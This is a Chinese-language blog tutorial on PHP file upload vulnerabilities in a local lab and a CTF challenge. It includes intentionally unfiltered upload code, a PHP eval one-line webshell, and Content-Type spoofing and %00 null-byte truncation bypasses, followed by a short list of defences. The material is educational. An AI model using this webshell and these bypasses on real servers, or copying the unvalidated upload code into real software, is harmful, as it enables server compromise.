為了讓使用者将檔案上傳到網站,就像是給危機伺服器的惡意使用者打開了另一扇門。即便如此,在今天的現代網際網路的Web應用程式,它是一種常見的要求,因為它有助于提高業務效率。企業支援門戶,給使用者各企業員工有效地共享檔案。允許使用者上傳圖檔,視訊,頭像和許多其他類型的檔案。向使用者提供的功能越多,Web應用受到攻擊的風險和機會就越大,這種功能會被惡意使用者利用,獲得到一個特定網站的權限,或危及伺服器的可能性是非常高的。
0x01 為什麼檔案上傳存在漏洞
上傳檔案的時候,如果伺服器腳本語言,未對上傳的檔案進行嚴格的驗證和過濾,就容易造成上傳任意檔案,包括上傳腳本檔案。
如果是正常的PHP檔案,對伺服器則沒有任何危害。
PHP可以像其他的程式設計語言一樣,可以檢視目錄下的檔案,檢視檔案中的嗎内容,可以執行系統指令等。
上傳檔案的時候,如果伺服器端腳本語言,未對上傳的檔案進行嚴格的驗證和過濾,就有可能上傳惡意的PHP檔案,進而控制整個網站,甚至是伺服器。這個惡意的PHP檔案,又被稱為WebShell。
0x02 哪裡存在檔案上傳漏洞
伺服器配置不當
開源編輯器的上傳漏洞
本地檔案上傳限制被繞過
過濾不嚴或被繞過
檔案解析漏洞導緻檔案執行
檔案路徑截斷
0x03 檔案上傳執行個體(本地測試)
裸體的檔案上傳
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<code><!DOCTYPE html></code>
<code><html></code>
<code><head></code>
<code> </code><code><title>檔案資訊</title></code>
<code></head></code>
<code><meta charset=</code><code>"utf-8"</code><code>></code>
<code><body></code>
<code><form action=</code><code>""</code> <code>enctype=</code><code>"multipart/form-data"</code> <code>method=</code><code>"POST"</code> <code>name=</code><code>"uploadfile"</code><code>></code>
<code> </code><code>上傳檔案: <input type=</code><code>"file"</code> <code>name=</code><code>"upfile"</code> <code>/></code>
<code> </code><code><input type=</code><code>"submit"</code> <code>value=</code><code>"上傳"</code> <code>name=</code><code>"submit"</code><code>></code>
<code></form></code>
<code></body></code>
<code></html></code>
<code><!-- 完全沒有過濾,任意檔案上傳 --></code>
<code><?php</code>
<code>if</code> <code>(isset(</code><code>$_POST</code><code>[</code><code>'submit'</code><code>])) {</code>
<code> </code><code>var_dump(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>]);</code>
<code> </code><code>echo</code> <code>"檔案名:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>].</code><code>"<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"檔案大小:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'size'</code><code>].</code><code>"<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"檔案類型:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>].</code><code>"<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"臨時路徑:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>].</code><code>"<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"上傳後系統傳回值:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>].</code><code>"<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"====================儲存分各線========================<br />"</code><code>;</code>
<code> </code><code>if</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>] == 0) {</code>
<code> </code><code>if</code> <code>(!</code><code>is_dir</code><code>(</code><code>"./upload"</code><code>)) {</code>
<code> </code><code>mkdir</code><code>(</code><code>"./upload"</code><code>);</code>
<code> </code><code>}</code>
<code> </code><code>$dir</code> <code>= </code><code>"./upload/"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>];</code>
<code> </code><code>move_uploaded_file(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>],</code><code>$dir</code><code>);</code>
<code> </code><code>echo</code> <code>"檔案儲存路徑:"</code><code>.</code><code>$dir</code><code>.</code><code>"<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"上傳成功...<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"圖檔預覽:<br />"</code><code>;</code>
<code> </code><code>echo</code> <code>"<img src="</code><code>.</code><code>$dir</code><code>.</code><code>">"</code><code>;</code>
<code> </code><code>}</code>
<code>}</code>
<code> </code><code>?></code>
<a href="http://s5.51cto.com/wyfs02/M01/84/75/wKioL1eQ76Sxy2zxAARTCLGSSbw832.png-wh_500x0-wm_3-wmp_4-s_1928545613.png" target="_blank"></a>
設定本地代理用Burp Suite 抓包,通過對比我們可以看到,PHP中的<檔案名>和<檔案類型>分别對應資料包中<filename>和<Content-Type>。
穿上下内衣的檔案上傳
37
38
39
40
41
42
43
44
45
<code><!-- 按檔案類型過濾 --></code>
<code> </code><code>$flag</code> <code>= 0;</code>
<code> </code><code>switch</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>]) {</code>
<code> </code><code>case</code> <code>'image/jpeg'</code><code>:</code>
<code> </code><code>$flag</code> <code>= 1;</code>
<code> </code><code>break</code><code>;</code>
<code> </code><code>default</code><code>:</code>
<code> </code><code>die</code><code>(</code><code>"檔案類型錯誤....."</code><code>);</code>
<code> </code><code>if</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>] == 0 && </code><code>$flag</code> <code>) {</code>
<code> </code><code>$dir</code> <code>= </code><code>"./upload/"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>];</code>
<code> </code><code>move_uploaded_file(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>],</code><code>$dir</code><code>);</code>
<code> </code><code>echo</code> <code>"檔案儲存路徑:"</code><code>.</code><code>$dir</code><code>.</code><code>"<br />"</code><code>;</code>
在這段代碼裡,我們通過 <$_FILES['upfile']['type']> 來檢測檔案上傳的類型,通過第一個圖裡的對比我們知道Http資料包請求頭裡的<Content-Type >對應的是上傳檔案的類型,那麼我們是不是可以通過修改資料包的内容來實驗繞過.ok,現在我們上傳一個PHP一句話木馬。
<code>@</code><code>eval</code><code>(</code><code>$_POST</code><code>[</code><code>'xxx'</code><code>]);</code>
<code>echo</code> <code>"dahuiji...."</code><code>;</code>
<a href="http://s4.51cto.com/wyfs02/M02/84/75/wKiom1eQ8A-heWV_AAN7oia3xR0984.png-wh_500x0-wm_3-wmp_4-s_1792065708.png" target="_blank"></a>
看傳回的頁面我們知道我們成功繞過了對檔案類型的檢測,并且菜刀連接配接成功
穿上上内衣的檔案上傳(一個十六進制的<00>截斷的ctf)
<code>url:http://ctf4.shiyanbar.com/web/upload/</code>
<a href="http://s2.51cto.com/wyfs02/M00/84/75/wKiom1eQ8FTiYY4vAAKvHgT5rdc341.png-wh_500x0-wm_3-wmp_4-s_2877217126.png" target="_blank"></a>
首先我們對抓取的資料包做出以上修改
<a href="http://s3.51cto.com/wyfs02/M00/84/75/wKioL1eQ8HDSTJYvAAMqvXprP68080.png-wh_500x0-wm_3-wmp_4-s_1450382984.png" target="_blank"></a>
通過16進制我們知道 <.>的16進制是<2e>在<2e>出插入一個位元組,右鍵菜單裡有<insert byte>插入。
<a href="http://s1.51cto.com/wyfs02/M01/84/75/wKiom1eQ8JOSXUmnAAI3-KDfuXc717.png-wh_500x0-wm_3-wmp_4-s_3187912989.png" target="_blank"></a>
ok,現在我們成功擷取了flag。
現在我們說下這個實驗的實作原理:
<code>1.為什麼在檔案後面加上<.jpg>和在資料包<</code><code>uploads</code><code>/>後面加上修改後的檔案名?</code>
<code> </code><code>PHP在對檔案字尾進行判斷時是對最後一個 <.xxx> 來判斷的。這樣我們修改過後的檔案</code>
<code> </code><code>名,PHP會将其判斷為.jpg檔案這樣我們可以繞過對檔案名的檢測。</code>
<code> </code>
<code>2.為什麼我們對檔案名修改過後還需要添加%00截斷?</code>
<code> </code><code>盡管我們知道我們上傳的是一個PHP檔案,但是如果不進行%00截斷,我們上傳的檔案在服務</code>
<code> </code><code>器上是以<</code><code>xxx.php.jpg</code><code>>格式儲存也就是說這是一個圖檔檔案,PHP是不會解析這個檔案。</code>
<code> </code><code>當我們進行%00截斷後,伺服器就會将%00後的<.jpg>進行截斷,這是我們的的檔案将以<</code><code>xxx.php</code><code>></code>
<code> </code><code>的形式儲存在伺服器上,我們的一句話木馬也就成功的時上傳成功了。</code>
穿上外套的檔案上傳
<code> </code><code>$path_parts</code> <code>= </code><code>pathinfo</code><code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>]);</code>
<code> </code><code>echo</code> <code>'---<br>'</code><code>;</code>
<code> </code><code>var_dump(</code><code>$path_parts</code><code>); </code><code>//傳回檔案路徑資訊</code>
<code> </code><code>if</code> <code>(</code><code>$path_parts</code><code>[</code><code>'extension'</code><code>] == </code><code>'jpg'</code> <code>&& </code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>] == </code><code>'image/jpeg'</code><code>) {</code>
<code> </code><code>$flag</code> <code>= 1;</code>
<code> </code><code>}</code><code>else</code><code>{</code>
<code> </code><code>die</code><code>(</code><code>"檔案類型錯誤...."</code><code>);</code>
上傳一張正常的圖檔。
<a href="http://s5.51cto.com/wyfs02/M01/84/75/wKioL1eQ8Yjz_KUcAAF_fGZhspg079.png-wh_500x0-wm_3-wmp_4-s_161590072.png" target="_blank"></a>
上傳一句話木馬進行繞過檢測
<a href="http://s2.51cto.com/wyfs02/M02/84/76/wKiom1eQ8a_wyICPAAK-fyWsCeQ590.png-wh_500x0-wm_3-wmp_4-s_640744346.png" target="_blank"></a>
<code>為什麼這次不能進行繞過?</code>
<code> </code><code>我們對檔案名進行截斷後,當資料包到Apache的時候,Apache會對截斷處理這時截斷的檔案</code>
<code> </code><code>名變為<</code><code>xxx.php</code><code>>當PHP判斷時會發現檔案的字尾為<</code><code>php</code><code>>,然後我們就上傳失敗了....</code>
<code> </code><code>(以上隻是我對上傳失敗的一點了解,歡迎指正。</code>
<code> </code><code>歡迎技術讨論,可以将上述方法繞過的同學歡迎指教。</code>
<code> </code><code>緻謝...)</code>
0x04 上傳漏洞的防禦
對面檔案字尾進行檢測
對檔案類型進行檢測
對檔案内容進行檢測
設定上傳白名單
本文轉自 nw01f 51CTO部落格,原文連結:http://blog.51cto.com/dearch/1828635,如需轉載請自行聯系原作者